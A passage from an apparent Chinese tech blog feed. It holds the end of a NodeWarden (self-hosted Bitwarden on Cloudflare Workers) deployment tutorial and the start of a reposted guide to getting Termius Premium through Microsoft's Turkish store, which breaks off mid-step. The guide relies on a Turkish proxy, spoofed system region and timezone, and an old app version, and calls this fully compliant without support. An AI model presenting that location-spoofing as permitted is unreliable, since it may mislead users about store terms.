&lt;li&gt;&lt;strong&gt;R2&lt;/strong&gt;：对象存储，存附件和 Send 文件（兼容 S3 API）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Durable Object&lt;/strong&gt;：实现实时同步推送，设备变动立刻通知&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;这个组合的好处是：所有组件都是全球分布的，无论你在哪个国家访问，延迟都很低。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;一键部署教程&lt;a href=&quot;#一键部署教程&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;NodeWarden 的部署可以说是目前所有自托管密码方案里最简单的。&lt;strong&gt;不需要命令行，不需要 SSH，不需要 Docker 知识。&lt;/strong&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;前置条件&lt;a href=&quot;#前置条件&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;一个 GitHub 账号&lt;/li&gt;
&lt;li&gt;一个 Cloudflare 账号（需要绑卡，但 R2 免费 10GB 基本用不完）&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;部署步骤&lt;a href=&quot;#部署步骤&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;第一步：Fork 仓库&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;打开 &lt;a href=&quot;https://github.com/shuaiplus/nodewarden&quot; target=&quot;_blank&quot;&gt;github.com/shuaiplus/nodewarden&lt;/a&gt;，点击右上角的 Fork。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Fork NodeWarden 仓库到自己的 GitHub&quot; loading=&quot;lazy&quot; width=&quot;1814&quot; height=&quot;730&quot; src=&quot;/_astro/nodewarden-fork.Bh8FIzGr_Z2mem1o.webp&quot; srcset=&quot;/_astro/nodewarden-fork.Bh8FIzGr_99Fcp.webp 640w, /_astro/nodewarden-fork.Bh8FIzGr_ZG4Il9.webp 750w, /_astro/nodewarden-fork.Bh8FIzGr_1H8Y6Y.webp 828w, /_astro/nodewarden-fork.Bh8FIzGr_Z1itMgS.webp 1080w, /_astro/nodewarden-fork.Bh8FIzGr_Z1NxEk8.webp 1280w, /_astro/nodewarden-fork.Bh8FIzGr_pjXkN.webp 1668w, /_astro/nodewarden-fork.Bh8FIzGr_Z2mem1o.webp 1814w&quot; /&gt;&lt;figcaption&gt;Fork NodeWarden 仓库到自己的 GitHub&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;第二步：连接 Cloudflare Workers&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;登录 &lt;a href=&quot;https://dash.cloudflare.com/&quot; target=&quot;_blank&quot;&gt;Cloudflare Dashboard&lt;/a&gt;，进入 Workers &amp;amp; Pages → 创建 → 选择「连接到 GitHub」，找到并选中你 Fork 的仓库。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Cloudflare Workers 部署配置页面&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;792&quot; src=&quot;/_astro/nodewarden-settings.RrixVphw_dr1wF.webp&quot; srcset=&quot;/_astro/nodewarden-settings.RrixVphw_Z2bkdFP.webp 640w, /_astro/nodewarden-settings.RrixVphw_Z1z4gMR.webp 750w, /_astro/nodewarden-settings.RrixVphw_ZaPlwh.webp 828w, /_astro/nodewarden-settings.RrixVphw_dr1wF.webp 1022w&quot; /&gt;&lt;figcaption&gt;Cloudflare Workers 部署配置页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;第三步：配置构建参数&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;构建命令填 &lt;code&gt;npm run build&lt;/code&gt;，部署命令填 &lt;code&gt;npm run deploy&lt;/code&gt;。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;如果你想省掉绑卡这一步，把部署命令改成 &lt;code&gt;npm run deploy:kv&lt;/code&gt; 用 KV 模式，免费额度 1GB，单文件上限 25MB。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;CF 部署按钮&quot; loading=&quot;lazy&quot; width=&quot;1070&quot; height=&quot;418&quot; src=&quot;/_astro/nodewarden-deploy-btn.kcfOg3d1_Z18h7OE.webp&quot; srcset=&quot;/_astro/nodewarden-deploy-btn.kcfOg3d1_xtsIX.webp 640w, /_astro/nodewarden-deploy-btn.kcfOg3d1_1E6fz3.webp 750w, /_astro/nodewarden-deploy-btn.kcfOg3d1_ZPLMe4.webp 828w, /_astro/nodewarden-deploy-btn.kcfOg3d1_Z18h7OE.webp 1070w&quot; /&gt;&lt;figcaption&gt;CF 部署按钮&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;第四步：添加 JWT_SECRET&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;部署完成后，打开生成的 Workers 域名，如果提示缺少 &lt;code&gt;JWT_SECRET&lt;/code&gt;，到 Worker 设置的「环境变量」中添加一个至少 32 位的随机字符串（可以用 &lt;code&gt;openssl rand -hex 32&lt;/code&gt; 生成）。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;第五步：注册管理员账号&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;首次访问 Workers 域名会自动进入设置页面，按提示填写管理员邮箱和主密码即可。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;NodeWarden 设置页面&quot; loading=&quot;lazy&quot; width=&quot;1946&quot; height=&quot;1500&quot; src=&quot;/_astro/nodewarden-setup.D6OHTI7Y_Z1LFkoD.webp&quot; srcset=&quot;/_astro/nodewarden-setup.D6OHTI7Y_gIr0x.webp 640w, /_astro/nodewarden-setup.D6OHTI7Y_Nqk63.webp 750w, /_astro/nodewarden-setup.D6OHTI7Y_3M6DR.webp 828w, /_astro/nodewarden-setup.D6OHTI7Y_tKiUh.webp 1080w, /_astro/nodewarden-setup.D6OHTI7Y_Z1yU3nA.webp 1280w, /_astro/nodewarden-setup.D6OHTI7Y_2tK3ac.webp 1668w, /_astro/nodewarden-setup.D6OHTI7Y_Z1LFkoD.webp 1946w&quot; /&gt;&lt;figcaption&gt;NodeWarden 设置页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;第六步：完成！&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;设置完成后会显示成功页面，你可以选择隐藏设置入口（推荐）。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;部署完成页面&quot; loading=&quot;lazy&quot; width=&quot;1222&quot; height=&quot;1026&quot; src=&quot;/_astro/nodewarden-complete.CEV9Ulek_Z1QXdJi.webp&quot; srcset=&quot;/_astro/nodewarden-complete.CEV9Ulek_20G0m9.webp 640w, /_astro/nodewarden-complete.CEV9Ulek_Z2npqm1.webp 750w, /_astro/nodewarden-complete.CEV9Ulek_8kMIe.webp 828w, /_astro/nodewarden-complete.CEV9Ulek_1oyeD3.webp 1080w, /_astro/nodewarden-complete.CEV9Ulek_Z1QXdJi.webp 1222w&quot; /&gt;&lt;figcaption&gt;部署完成页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;在客户端登录&lt;a href=&quot;#在客户端登录&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;在 Bitwarden 官方客户端中，选择「自托管」登录方式，填入你的 Workers 域名作为服务器 URL：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;手机端登录 NodeWarden&quot; loading=&quot;lazy&quot; width=&quot;1206&quot; height=&quot;2622&quot; src=&quot;/_astro/nodewarden-mobile-login.Dm8zfEuG_27d6G5.webp&quot; srcset=&quot;/_astro/nodewarden-mobile-login.Dm8zfEuG_Z1srEDb.webp 640w, /_astro/nodewarden-mobile-login.Dm8zfEuG_hf0PS.webp 750w, /_astro/nodewarden-mobile-login.Dm8zfEuG_SBiw0.webp 828w, /_astro/nodewarden-mobile-login.Dm8zfEuG_YxCfS.webp 1080w, /_astro/nodewarden-mobile-login.Dm8zfEuG_27d6G5.webp 1206w&quot; /&gt;&lt;figcaption&gt;手机端登录 NodeWarden&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;登录后就可以正常使用了，所有的密码同步、自动填充、TOTP 验证码全部正常：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;手机端密码库界面&quot; loading=&quot;lazy&quot; width=&quot;1206&quot; height=&quot;2622&quot; src=&quot;/_astro/nodewarden-mobile-vault.Hn0YveO3_11TT9D.webp&quot; srcset=&quot;/_astro/nodewarden-mobile-vault.Hn0YveO3_ZvxLcQ.webp 640w, /_astro/nodewarden-mobile-vault.Hn0YveO3_1e8Thd.webp 750w, /_astro/nodewarden-mobile-vault.Hn0YveO3_1PvbWk.webp 828w, /_astro/nodewarden-mobile-vault.Hn0YveO3_Z5Jzgy.webp 1080w, /_astro/nodewarden-mobile-vault.Hn0YveO3_11TT9D.webp 1206w&quot; /&gt;&lt;figcaption&gt;手机端密码库界面&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;密码详情页面&quot; loading=&quot;lazy&quot; width=&quot;1206&quot; height=&quot;2622&quot; src=&quot;/_astro/nodewarden-vault-detail.DWDQKeQI_zONJo.webp&quot; srcset=&quot;/_astro/nodewarden-vault-detail.DWDQKeQI_1qDCF5.webp 640w, /_astro/nodewarden-vault-detail.DWDQKeQI_Z1SPODM.webp 750w, /_astro/nodewarden-vault-detail.DWDQKeQI_Z1htwXF.webp 828w, /_astro/nodewarden-vault-detail.DWDQKeQI_ZwOEFN.webp 1080w, /_astro/nodewarden-vault-detail.DWDQKeQI_zONJo.webp 1206w&quot; /&gt;&lt;figcaption&gt;密码详情页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;更新方法&lt;a href=&quot;#更新方法&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;NodeWarden 的更新也很省心：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手动更新&lt;/strong&gt;：在 GitHub 上点 &lt;code&gt;Sync fork&lt;/code&gt; → &lt;code&gt;Update branch&lt;/code&gt;，Cloudflare 自动重新部署&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动更新&lt;/strong&gt;：在 Actions 页面启用 &lt;code&gt;Sync upstream&lt;/code&gt; 工作流，每天凌晨 3 点自动同步上游&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;适合谁用？&lt;a href=&quot;#适合谁用&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;NodeWarden 最适合这几类人：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不想买 VPS 的自托管爱好者&lt;/strong&gt; — Cloudflare 免费额度够用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bitwarden 免费版用户&lt;/strong&gt; — 解锁 TOTP、附件支持等高级功能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vaultwarden 用户觉得维护太累的&lt;/strong&gt; — 换 NodeWarden 几乎零维护&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;家庭密码共享&lt;/strong&gt; — 邀请码注册，全家用一个密码库&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;不适合的场景：企业组织、需要细粒度权限管理的团队。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;安全性怎么样？&lt;a href=&quot;#安全性怎么样&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;NodeWarden 继承了 Bitwarden 的 &lt;strong&gt;端到端加密（E2EE）&lt;/strong&gt; 架构：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;所有密码在你设备上用主密钥加密后才上传&lt;/li&gt;
&lt;li&gt;Cloudflare Workers 服务器只能看到加密后的密文&lt;/li&gt;
&lt;li&gt;开发者 shuaiplus 明确声明看不到任何用户的密码&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;另外项目近期刚发布了 v1.7.1 安全加固更新，修复了多项安全漏洞，并会在发现问题的第一时间修复。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;⚠️ 任何自托管服务都建议：&lt;strong&gt;定期备份&lt;/strong&gt;（NodeWarden 自带云端备份功能），保管好主密码。&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;写在最后&lt;a href=&quot;#写在最后&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;NodeWarden 在 2 个月内从零涨到 2.9k Stars，社区反响热烈，原因很简单——它切中了一个真实需求：&lt;strong&gt;我只是想要一个密码管理器，不想为此租一台服务器。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Cloudflare Workers 作为运行平台，把自托管的门槛降到了前所未有的低——不需要 Linux 基础，不需要 Docker 知识，Fork → 连 CF → 等几分钟 就完了。&lt;/p&gt;&lt;p&gt;如果你之前因为”懒得折腾服务器”而放弃了自托管密码管理器，现在可以试试 NodeWarden。&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;strong&gt;参考来源：&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/shuaiplus/nodewarden&quot; target=&quot;_blank&quot;&gt;NodeWarden GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nodewarden.app&quot; target=&quot;_blank&quot;&gt;NodeWarden 官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.appinn.com/nodewarden&quot; target=&quot;_blank&quot;&gt;小众软件 · NodeWarden 介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nodeseek.com/post-606589-1&quot; target=&quot;_blank&quot;&gt;NodeSeek · NodeWarden 发布帖&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;</content:encoded></item><item><title>Termius 土耳其区订阅攻略：一年仅需 20 元</title><link>https://ld.ac.cn/posts/termius-turkey-subscription-guide/</link><guid isPermaLink="true">https://ld.ac.cn/posts/termius-turkey-subscription-guide/</guid><description>利用微软土耳其区定价差异，把 Termius Premium 的年费从 $79.99 降到 ₺85（约 20 元人民币），老版本安装 + 土区账号 + 礼品卡全套操作手册。</description><pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;原帖来源：&lt;/strong&gt; &lt;a href=&quot;https://www.nodeseek.com/post-295429-1&quot; target=&quot;_blank&quot;&gt;NodeSeek 论坛 · 保姆级教程&lt;/a&gt; — 感谢原作者 Lite 的两周踩坑经验&lt;/p&gt;&lt;p&gt;本文转载自 NodeSeek，已获得原作者授权，对内容进行了整理和补充。&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;为什么要搞土区？&lt;a href=&quot;#为什么要搞土区&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Termius 是跨平台 SSH 客户端里的明星产品，界面美观、支持 SFTP、同步配置、团队协作。但它的 Premium 定价实在不便宜——个人版 &lt;strong&gt;$79.99/年&lt;/strong&gt;，合人民币快 600 块。&lt;/p&gt;&lt;p&gt;好在微软商店存在区域定价差异：土耳其里拉近几年的贬值让土区的软件定价对标本地购买力异常便宜。Termius 土区订阅只要 &lt;strong&gt;₺85/年&lt;/strong&gt;，算下来大概 &lt;strong&gt;20 块钱&lt;/strong&gt;，是原价的 3%。&lt;/p&gt;&lt;p&gt;这不是盗版、不是破解，是合规的跨区购买。微软官方允许账号在注册地购买当地定价的商品，只要你注册时选的是土耳其。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;准备工作&lt;a href=&quot;#准备工作&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;动手之前，先把这些东西准备好：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;土耳其 VPN / 代理&lt;/strong&gt; — IP 越干净越好，推荐专线节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迅游加速器&lt;/strong&gt; — 免费加速微软商店兑换&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;土耳其礼品卡&lt;/strong&gt; — 淘宝搜”土耳其 微软礼品卡”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Termius 9.12.0.0 安装包&lt;/strong&gt; — 最关键的一步，新版已修复土区定价&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppContainer Loopback Utility&lt;/strong&gt; — 解除 Windows App 网络回环限制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows 10+ 电脑&lt;/strong&gt; — 精简版系统也可以操作&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;为什么一定要老版本？&lt;/strong&gt; Termius 后续版本修改了订阅逻辑，新版本已经看不到 ₺85 的土区定价了。9.12.0.0 是最后一个正常显示土区价格的版本。&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;第一步：注册微软土耳其区账号&lt;a href=&quot;#第一步注册微软土耳其区账号&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;这一步必须全程开土耳其代理。&lt;/strong&gt; IP 越干净越好，不容易被风控。&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;访问微软账号注册页面&lt;/li&gt;
&lt;li&gt;推荐用「Get a new email address」新建一个 Outlook 邮箱&lt;/li&gt;
&lt;li&gt;正常填写信息走注册流程&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;注册页面，建议新建 Outlook 邮箱&quot; loading=&quot;lazy&quot; width=&quot;2015&quot; height=&quot;1126&quot; src=&quot;/_astro/termius-registration-page.DuXSz11q_Z1vqbsN.webp&quot; srcset=&quot;/_astro/termius-registration-page.DuXSz11q_Z2lAWIl.webp 640w, /_astro/termius-registration-page.DuXSz11q_Z1GyKHa.webp 750w, /_astro/termius-registration-page.DuXSz11q_1Bh3TI.webp 828w, /_astro/termius-registration-page.DuXSz11q_1uutBW.webp 1080w, /_astro/termius-registration-page.DuXSz11q_Z1PncCh.webp 1280w, /_astro/termius-registration-page.DuXSz11q_Z8O3Sy.webp 1668w, /_astro/termius-registration-page.DuXSz11q_Z1vqbsN.webp 2015w&quot; /&gt;&lt;figcaption&gt;注册页面，建议新建 Outlook 邮箱&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;⚠️ &lt;strong&gt;关键检查点：&lt;/strong&gt; 在生日选择页面，看一下右下角的「国家/地区」是不是默认显示 &lt;strong&gt;Turkey（土耳其）&lt;/strong&gt;。如果不是，说明你的代理 IP 被识别到了其他国家，需要换一个土耳其节点重新来。生日随便选，满 18 岁就行。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;确保国家/地区显示 Turkey&quot; loading=&quot;lazy&quot; width=&quot;1768&quot; height=&quot;1169&quot; src=&quot;/_astro/termius-region-turkey.C8_O2Hf9_Z1JkFmq.webp&quot; srcset=&quot;/_astro/termius-region-turkey.C8_O2Hf9_1s4G4C.webp 640w, /_astro/termius-region-turkey.C8_O2Hf9_5sGFJ.webp 750w, /_astro/termius-region-turkey.C8_O2Hf9_ZbITsK.webp 828w, /_astro/termius-region-turkey.C8_O2Hf9_Z1iHjxN.webp 1080w, /_astro/termius-region-turkey.C8_O2Hf9_Z1sw2jH.webp 1280w, /_astro/termius-region-turkey.C8_O2Hf9_Z2nl1uv.webp 1668w, /_astro/termius-region-turkey.C8_O2Hf9_Z1JkFmq.webp 1768w&quot; /&gt;&lt;figcaption&gt;确保国家/地区显示 Turkey&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;第二步：修改系统时区和地区&lt;a href=&quot;#第二步修改系统时区和地区&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Windows 的时区和地区设置需要对齐到土耳其，不然微软商店可能不认：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;时区：&lt;/strong&gt; 设置为 UTC+3 — 伊斯坦布尔（Istanbul）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;地区：&lt;/strong&gt; 设置为 土耳其（Turkey）&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;设置路径：Windows 设置 → 时间和语言 → 区域&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;时区设置为 UTC+03:00 伊斯坦布尔&quot; loading=&quot;lazy&quot; width=&quot;1808&quot; height=&quot;620&quot; src=&quot;/_astro/termius-timezone-istanbul.DGnuw68d_2iIk3c.webp&quot; srcset=&quot;/_astro/termius-timezone-istanbul.DGnuw68d_2mLx7H.webp 640w, /_astro/termius-timezone-istanbul.DGnuw68d_2o1Xjf.webp 750w, /_astro/termius-timezone-istanbul.DGnuw68d_243Qbi.webp 828w, /_astro/termius-timezone-istanbul.DGnuw68d_2n4xTC.webp 1080w, /_astro/termius-timezone-istanbul.DGnuw68d_Z1QDACr.webp 1280w, /_astro/termius-timezone-istanbul.DGnuw68d_2ofagI.webp 1668w, /_astro/termius-timezone-istanbul.DGnuw68d_2iIk3c.webp 1808w&quot; /&gt;&lt;figcaption&gt;时区设置为 UTC+03:00 伊斯坦布尔&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;第三步：通过迅游加速器兑换礼品卡&lt;a href=&quot;#第三步通过迅游加速器兑换礼品卡&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;这一步要关掉土耳其代理&lt;/strong&gt;，改用迅游加速器。&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;打开迅游加速器，正常登录（&lt;strong&gt;不用买会员&lt;/strong&gt;，微软商店加速是免费的）&lt;/li&gt;
&lt;li&gt;选择「土耳其」兑换区服，点击「微软商店」下载加速&lt;/li&gt;
&lt;li&gt;加速成功后打开微软商店，确认右上角货币符号显示 &lt;strong&gt;₺&lt;/strong&gt;（土耳其里拉）&lt;/li&gt;
&lt;li&gt;在右上角菜单中点击「兑换礼品卡」&lt;/li&gt;
&lt;li&gt;输入你买的土耳其礼品卡，确认地区显示为土耳其&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;加速成功后微软商店会自动切换到土耳其区，这时候你能看到各种软件都标着里拉价格：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;微软商店切换到土耳其区后的界面&quot; loading=&quot;lazy&quot; width=&quot;2081&quot; height=&quot;1194&quot; src=&quot;/_astro/termius-store-turkish.XnexYWmh_ZgPldL.webp&quot; srcset=&quot;/_astro/termius-store-turkish.XnexYWmh_Z1Jb5s2.webp 640w, /_astro/termius-store-turkish.XnexYWmh_ZmGkPs.webp 750w, /_astro/termius-store-turkish.XnexYWmh_Zza8vy.webp 828w, /_astro/termius-store-turkish.XnexYWmh_2aUcti.webp 1080w, /_astro/termius-store-turkish.XnexYWmh_1vay6P.webp 1280w, /_astro/termius-store-turkish.XnexYWmh_Uc0hb.webp 1668w, /_astro/termius-store-turkish.XnexYWmh_ZJK1Ac.webp 2048w, /_astro/termius-store-turkish.XnexYWmh_ZgPldL.webp 2081w&quot; /&gt;&lt;figcaption&gt;微软商店切换到土耳其区后的界面&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;土耳其区商店内的游戏和应用定价&quot; loading=&quot;lazy&quot; width=&quot;1016&quot; height=&quot;679&quot; src=&quot;/_astro/termius-store-pricing.DWHmTpGY_ZTGJsO.webp&quot; srcset=&quot;/_astro/termius-store-pricing.DWHmTpGY_1l8A2C.webp 640w, /_astro/termius-store-pricing.DWHmTpGY_8s1od.webp 750w, /_astro/termius-store-pricing.DWHmTpGY_2oVSzB.webp 828w, /_astro/termius-store-pricing.DWHmTpGY_ZTGJsO.webp 1016w&quot; /&gt;&lt;figcaption&gt;土耳其区商店内的游戏和应用定价&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;💡 如果你的系统是精简版，或者商店曾经出现过异常，&lt;strong&gt;务必走这一步&lt;/strong&gt;，否则后面订阅时可能弹不出付款窗口。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;兑换礼品卡的页面：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;兑换礼品卡界面&quot; loading=&quot;lazy&quot; width=&quot;1452&quot; height=&quot;1211&quot; src=&quot;/_astro/termius-redeem-card.BLXdmTOu_1KIFaq.webp&quot; srcset=&quot;/_astro/termius-redeem-card.BLXdmTOu_23IbVg.webp 640w, /_astro/termius-redeem-card.BLXdmTOu_ZaJRvw.webp 750w, /_astro/termius-redeem-card.BLXdmTOu_Z2iR29v.webp 828w, /_astro/termius-redeem-card.BLXdmTOu_1O79fc.webp 1080w, /_astro/termius-redeem-card.BLXdmTOu_SgJLL.webp 1280w, /_astro/termius-redeem-card.BLXdmTOu_1KIFaq.webp 1452w&quot; /&gt;&lt;figcaption&gt;兑换礼品卡界面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;第四步：安装老版本 Termius&lt;a href=&quot;#第四步安装老版本-termius&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;把电脑上已有的 Termius 彻底卸载干净。&lt;/p&gt;&lt;p&gt;然后双击下载好的 &lt;code&gt;Termius 9.12.0.0.appx&lt;/code&gt; 直接安装。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;🛠️ &lt;strong&gt;如果双击报错&lt;/strong&gt;，用管理员权限打开 PowerShell 或 Windows 终端，执行：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Add-AppxPackage&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;Path &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;D:\下载\Termius_9.12.0.0.appx&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;把路径替换为你的实际下载位置。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;通过 PowerShell 管理员模式安装&quot; loading=&quot;lazy&quot; width=&quot;463&quot; height=&quot;221&quot; src=&quot;/_astro/termius-powershell.QmNjWcU0_1senci.webp&quot; srcset=&quot;/_astro/termius-powershell.QmNjWcU0_1senci.webp 463w&quot; /&gt;&lt;figcaption&gt;通过 PowerShell 管理员模式安装&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;第五步：订阅兑换（最关键的一步）&lt;a href=&quot;#第五步订阅兑换最关键的一步&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;这一步又要打开土耳其代理了，而且要开全局模式。&lt;/strong&gt; 迅游加速器可以关掉。&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;打开 &lt;strong&gt;AppContainer Loopback Utility&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;点击 &lt;strong&gt;“Exempt All”&lt;/strong&gt; 按钮，然后最小化窗口（不用关）&lt;/li&gt;
